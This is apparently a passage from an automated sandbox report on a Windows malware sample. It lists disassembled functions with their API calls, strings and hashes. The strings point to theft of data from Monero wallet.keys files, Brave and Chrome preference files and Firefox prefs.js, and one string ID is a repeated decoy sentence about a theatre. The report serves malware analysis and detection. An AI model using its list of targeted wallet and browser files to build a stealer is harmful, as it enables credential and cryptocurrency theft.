String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 0a91454424496d614a655c93d4049a0b1e0598ebf1fed6f3ecb9f8f8cba3283e
Instruction ID: 35675c1eb9c98c73c87b660902e80d4ef8a4397bfa76c109501f19728256bffe
Opcode Fuzzy Hash: 0a91454424496d614a655c93d4049a0b1e0598ebf1fed6f3ecb9f8f8cba3283e
Instruction Fuzzy Hash: 1B4124A07C378C6AC66CF7A5896EF9E77565F4A708F917044F802722C0CBB855394A2A

Function 007CBCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

FindFirstFileA.KERNEL32(00000000,?,007E0B17,007E0B16,00000000,?,?,?,007E1398,007E0B0F), ref: 007CBD35
StrCmpCA.SHLWAPI(?,007E139C), ref: 007CBD8D
StrCmpCA.SHLWAPI(?,007E13A0), ref: 007CBDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 007CC5FF
FindClose.KERNEL32(000000FF), ref: 007CC611

Strings

Brave, xrefs: 007CBF42
Google Chrome, xrefs: 007CC474
Preferences, xrefs: 007CBF5E
\Brave\Preferences, xrefs: 007CC01B

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 5a4b5d95dc73ae2afbc2a070b146996ef54e4ce51f6180422816e69893911591
Instruction ID: 87a8fb1cec3bab8b97858f84f85961415a05ff43a8d45be4201fc360a8881d12
Opcode Fuzzy Hash: 5a4b5d95dc73ae2afbc2a070b146996ef54e4ce51f6180422816e69893911591
Instruction Fuzzy Hash: 20421072910109EBCB14FB70DD9AEED7379BB84300F44455DF90A56291EE39AF48CBA2

Function 6C5D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
__aulldiv.LIBCMT ref: 6C5D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D3773
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D377E
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D37C4
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D37CB
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D3801
__aulldiv.LIBCMT ref: 6C5D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5D394C

Strings

AuthcAMDenti, xrefs: 6C5D3946
MOZ_TIMESTAMP_MODE, xrefs: 6C5D35DB
GenuntelineI, xrefs: 6C5D3639
GTC, xrefs: 6C5D3912
QPC, xrefs: 6C5D38FC

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction ID: a992858f3ff45ee44ee68d1cdefe4118f3239f8d5353e18b08dbc61611f22fa6
Opcode Fuzzy Hash: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction Fuzzy Hash: 7EB1D771B093009FDB08DF2EC89461A7BF5BB8A700F65892DE499D3790D734A901CB8A

Function 007D43F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 007D440C
FindFirstFileA.KERNEL32(?,?), ref: 007D4423
StrCmpCA.SHLWAPI(?,007E0FAC), ref: 007D4451
StrCmpCA.SHLWAPI(?,007E0FB0), ref: 007D4467
FindNextFileA.KERNEL32(000000FF,?), ref: 007D465D
FindClose.KERNEL32(000000FF), ref: 007D4672

Strings

%s\*, xrefs: 007D4400
%s\%s, xrefs: 007D4484
%s\%s, xrefs: 007D44DB

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 74c03465338f7d03fee967a6c4f33a7bdd44417ce3d28f8be92b56f9e8a72f1a
Instruction ID: 9a9315ae712a8d10ecfa2038af242b52a592340f7a1cf455228871b5b227eeff
Opcode Fuzzy Hash: 74c03465338f7d03fee967a6c4f33a7bdd44417ce3d28f8be92b56f9e8a72f1a
Instruction Fuzzy Hash: 086189B1910258EBCB20EBA0DC89FEA737CBB48301F04859DF54996141EB75AF85CFA1

Function 007D39B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 007D39D3
FindFirstFileA.KERNEL32(?,?), ref: 007D39EA
StrCmpCA.SHLWAPI(?,007E0F7C), ref: 007D3A18
StrCmpCA.SHLWAPI(?,007E0F80), ref: 007D3A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 007D3B7C
FindClose.KERNEL32(000000FF), ref: 007D3B91

Strings

%s\%s, xrefs: 007D39C7

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e96bad9ad9f44da19e54c79e23a02baed50d8bc0badef30d2f2ea5fd86d96cb6
Instruction ID: 9c6088b7e25669ee8d73708f5e9ecff1eca51d259f1b9a260be35c9a66574441
Opcode Fuzzy Hash: e96bad9ad9f44da19e54c79e23a02baed50d8bc0badef30d2f2ea5fd86d96cb6
Instruction Fuzzy Hash: C451EDB1914218EBCB24EBB0DC89EEE733CBB44300F44858DB65996140DB799B85CFA1

Function 007CF4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007E155C,007E0D7E), ref: 007CF55E
StrCmpCA.SHLWAPI(?,007E1560), ref: 007CF5AF
StrCmpCA.SHLWAPI(?,007E1564), ref: 007CF5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 007CF8F1
FindClose.KERNEL32(000000FF), ref: 007CF903

Strings

prefs.js, xrefs: 007CF652

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 10acece337f19c16827f0aa784a605a26e6f22ba8ed9e7f4dea537517b57c449
Instruction ID: f4b5383839bf510438a6dd52e9043f8102b50a26d739a12681f0cc1d1f3ee885
Opcode Fuzzy Hash: 10acece337f19c16827f0aa784a605a26e6f22ba8ed9e7f4dea537517b57c449
Instruction Fuzzy Hash: E0B12271900109EBCB24EF64DC9AFED7379BF94300F4085ADE40A56251EF796B49CB92

Function 007C1710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007E500C,?,?,?,007E50B4,?,?,00000000,?,00000000), ref: 007C1963
StrCmpCA.SHLWAPI(?,007E515C), ref: 007C19B3
StrCmpCA.SHLWAPI(?,007E5204), ref: 007C19C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007C1D80
DeleteFileA.KERNEL32(00000000), ref: 007C1E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 007C1E60
FindClose.KERNEL32(000000FF), ref: 007C1E72

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Strings

\*.*, xrefs: 007C1831

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: a4051af28d01dd4b699ca3d9e0fb413c684951b68d4c2a83b2c3a0b98300f6ef
Instruction ID: a8a6d7d7484be2db6850aa564f32ebdbeffa3612d9dc48f03a4f1a904ca0791b
Opcode Fuzzy Hash: a4051af28d01dd4b699ca3d9e0fb413c684951b68d4c2a83b2c3a0b98300f6ef
Instruction Fuzzy Hash: BA12EE7191011DEACF15FB60CC9AEEE7378BF54300F4445AAB50662191EF796B88CFA2

Function 007CD8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007E1454,007E0B96), ref: 007CD92B
StrCmpCA.SHLWAPI(?,007E1458), ref: 007CD973
StrCmpCA.SHLWAPI(?,007E145C), ref: 007CD989
FindNextFileA.KERNELBASE(000000FF,?), ref: 007CDC0C
FindClose.KERNEL32(000000FF), ref: 007CDC1E

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
